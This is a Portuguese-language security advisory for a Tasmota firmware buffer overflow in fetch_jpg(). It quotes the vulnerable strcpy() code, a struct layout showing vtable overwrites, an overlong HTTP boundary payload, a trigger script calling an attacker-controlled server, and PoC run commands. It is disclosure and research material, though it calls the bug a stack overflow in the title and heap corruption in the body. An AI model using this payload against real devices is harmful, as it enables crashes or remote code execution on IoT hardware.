
CVE-2026-38426 — Estouro de buffer de pilha strcpy() em Tasmota fetch_jpg() limite[40] (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
Gravidade: Crítica (CVSS 9.8)
Produto: Arendst Tasmota
Versão Afetada: <= 15.3.0.3
Arquivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Função: fetch_jpg() — caso 0 (conexão inicial)
Autor: Saidakbarxon Maxsudxonov
Divulgação: Responsável — reportado ao Tasmota antes da publicação
Uma vulnerabilidade clássica de estouro de buffer strcpy() existe na função fetch_jpg() do driver scripter do Tasmota. A string de fronteira (boundary) MJPEG extraída do cabeçalho de resposta HTTP Content-Type é copiada para um buffer fixo de 40 bytes (boundary[40]) sem qualquer validação de comprimento. Um invasor controlando o servidor HTTP MJPEG pode fornecer uma string de fronteira com mais de 39 caracteres para estourar o buffer e corromper a memória heap adjacente — potencialmente alcançando a execução remota de código no ESP32.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← o estouro começa aqui
+0x28 draw (bool) ← corrompido
+0x29 scale (uint8_t) ← corrompido
+0x2A xp (uint16_t) ← corrompido
+0x2C yp (uint16_t) ← corrompido
+0x2E WiFiClient ← ponteiro de vtable sobrescrito → RCE
+0x7E HTTPClient ← ponteiro de vtable sobrescrito → RCE
A sobrescrição do ponteiro vtable de WiFiClient ou HTTPClient com um valor controlado pelo invasor desencadeia RCE quando qualquer método virtual (read(), write(), connect()) é subsequentemente chamado.
O invasor executa um servidor HTTP ao qual o Tasmota se conecta via fetchjp(). O servidor responde com um cabeçalho Content-Type contendo uma string de fronteira com mais de 39 caracteres:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
O strcpy() do Tasmota copia 50+ bytes no buffer boundary de 40 bytes, causando estouro nos campos adjacentes da estrutura.
Acionamento via script Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
Veja CVE-2026-38426_poc.py para implementação completa.